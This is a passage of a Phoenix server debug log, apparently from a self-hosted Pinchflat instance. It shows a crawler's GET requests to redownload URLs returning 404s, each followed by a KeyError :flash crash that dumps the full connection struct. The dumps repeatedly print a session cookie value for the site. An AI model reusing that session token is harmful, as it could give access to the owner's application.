18, 0, 13}, 60062}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30930.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/sync_files_on_disk", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 60062}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.30931.0>, params: %{}, path_info: ["sources", "1", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.217.89"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "216.73.217.89"} ], request_path: "/s (truncated) 17:42:43.169 [info] GET /media_profiles/new 17:42:43.169 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.new/2 Parameters: %{} Pipelines: [:browser] 17:42:43.169 [debug] QUERY OK source="settings" db=0.1ms idle=822.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:43.169 [debug] QUERY OK source="settings" db=0.0ms idle=822.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:43.169 [debug] QUERY OK source="settings" db=0.0ms idle=586.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:43.169 [debug] QUERY OK source="settings" db=0.0ms idle=271.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:43.170 [debug] QUERY OK source="settings" db=0.1ms idle=272.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:43.170 [info] Sent 200 in 1ms 17:42:43.620 [info] GET /sources/45/force_redownload 17:42:43.620 [debug] QUERY OK source="settings" db=0.1ms idle=451.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:43.621 [debug] QUERY OK source="settings" db=0.0ms idle=451.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:43.621 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:42:43.621 [error] #PID<0.30935.0> running PinchflatWeb.Endpoint (connection #PID<0.30934.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /sources/45/force_redownload ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/45/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30934.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/45/force_redownload", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 60076}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnFIQnBFSDhhQmFCVUR3dExwMEpXWnBy.sOKh3iJsmCyHaFSBIm2ttu2SvGscxLIzmVL-Yq9sJwk", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnFIQnBFSDhhQmFCVUR3dExwMEpXWnBy.sOKh3iJsmCyHaFSBIm2ttu2SvGscxLIzmVL-Yq9sJwk" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.30935.0>, params: %{}, path_info: ["sources", "45", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnFIQnBFSDhhQmFCVUR3dExwMEpXWnBy.sOKh3iJsmCyHaFSBIm2ttu2SvGscxLIzmVL-Yq9sJwk" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnFIQnBFSDhhQmFCVUR3dExwMEpXWnBy.sOKh3iJsmCyHaFSBIm2ttu2SvGscxLIzmVL-Yq9sJwk"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.217.89"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "216.73.217.89"} ], request_path: "/sources/45/force_redownload", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz9woFATjhx3I8AB1wB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30934.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/45/force_redownload", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 60076}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnFIQnBFSDhhQmFCVUR3dExwMEpXWnBy.sOKh3iJsmCyHaFSBIm2ttu2SvGscxLIzmVL-Yq9sJwk", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/45/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30934.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/45/force_redownload", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 60076}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnFIQnBFSDhhQmFCVUR3dExwMEpXWnBy.sOKh3iJsmCyHaFSBIm2ttu2SvGscxLIzmVL-Yq9sJwk", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnFIQnBFSDhhQmFCVUR3dExwMEpXWnBy.sOKh3iJsmCyHaFSBIm2ttu2SvGscxLIzmVL-Yq9sJwk" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.30935.0>, params: %{}, path_info: ["sources", "45", "force_redownload"], path_params: %{}, port: 80, private: %{ Pin (truncated) 17:42:44.121 [info] GET /sources/6/force_redownload 17:42:44.122 [debug] QUERY OK source="settings" db=0.1ms idle=951.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:44.122 [debug] QUERY OK source="settings" db=0.1ms idle=951.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:44.122 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:42:44.122 [error] #PID<0.30937.0> running PinchflatWeb.Endpoint (connection #PID<0.30936.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /sources/6/force_redownload ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/6/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30936.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/force_redownload", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 60088}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnFIQnBFSDhhQmFCVUR3dExwMEpXWnBy.sOKh3iJsmCyHaFSBIm2ttu2SvGscxLIzmVL-Yq9sJwk", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnFIQnBFSDhhQmFCVUR3dExwMEpXWnBy.sOKh3iJsmCyHaFSBIm2ttu2SvGscxLIzmVL-Yq9sJwk" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.30937.0>, params: %{}, path_info: ["sources", "6", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnFIQnBFSDhhQmFCVUR3dExwMEpXWnBy.sOKh3iJsmCyHaFSBIm2ttu2SvGscxLIzmVL-Yq9sJwk" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnFIQnBFSDhhQmFCVUR3dExwMEpXWnBy.sOKh3iJsmCyHaFSBIm2ttu2SvGscxLIzmVL-Yq9sJwk"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.217.89"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "216.73.217.89"} ], request_path: "/sources/6/force_redownload", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz9wp8e2APxwX4AB1wh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30936.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/force_redownload", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 60088}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnFIQnBFSDhhQmFCVUR3dExwMEpXWnBy.sOKh3iJsmCyHaFSBIm2ttu2SvGscxLIzmVL-Yq9sJwk", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/6/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30936.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/force_redownload", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 60088}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnFIQnBFSDhhQmFCVUR3dExwMEpXWnBy.sOKh3iJsmCyHaFSBIm2ttu2SvGscxLIzmVL-Yq9sJwk", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnFIQnBFSDhhQmFCVUR3dExwMEpXWnBy.sOKh3iJsmCyHaFSBIm2ttu2SvGscxLIzmVL-Yq9sJwk" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.30937.0>, params: %{}, path_info: ["sources", "6", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb (truncated) 17:42:44.627 [info] GET /sources/28/force_redownload 17:42:44.627 [debug] QUERY OK source="settings" db=0.0ms idle=1006.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:44.628 [debug] QUERY OK source="settings" db=0.0ms idle=1006.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:44.628 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:42:44.628 [error] #PID<0.30939.0> running PinchflatWeb.Endpoint (connection #PID<0.30938.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /sources/28/force_redownload ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/28/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30938.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/28/force_redownload", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 60102}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnFIQnBFSDhhQmFCVUR3dExwMEpXWnBy.sOKh3iJsmCyHaFSBIm2ttu2SvGscxLIzmVL-Yq9sJwk", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnFIQnBFSDhhQmFCVUR3dExwMEpXWnBy.sOKh3iJsmCyHaFSBIm2ttu2SvGscxLIzmVL-Yq9sJwk" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.30939.0>, params: %{}, path_info: ["sources", "28", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnFIQnBFSDhhQmFCVUR3dExwMEpXWnBy.sOKh3iJsmCyHaFSBIm2ttu2SvGscxLIzmVL-Yq9sJwk" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnFIQnBFSDhhQmFCVUR3dExwMEpXWnBy.sOKh3iJsmCyHaFSBIm2ttu2SvGscxLIzmVL-Yq9sJwk"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.217.89"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "216.73.217.89"} ], request_path: "/sources/28/force_redownload", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz9wr1Gw4dPw-8AB1xB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30938.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/28/force_redownload", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 60102}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnFIQnBFSDhhQmFCVUR3dExwMEpXWnBy.sOKh3iJsmCyHaFSBIm2ttu2SvGscxLIzmVL-Yq9sJwk", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/28/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30938.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/28/force_redownload", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 60102}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnFIQnBFSDhhQmFCVUR3dExwMEpXWnBy.sOKh3iJsmCyHaFSBIm2ttu2SvGscxLIzmVL-Yq9sJwk", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => 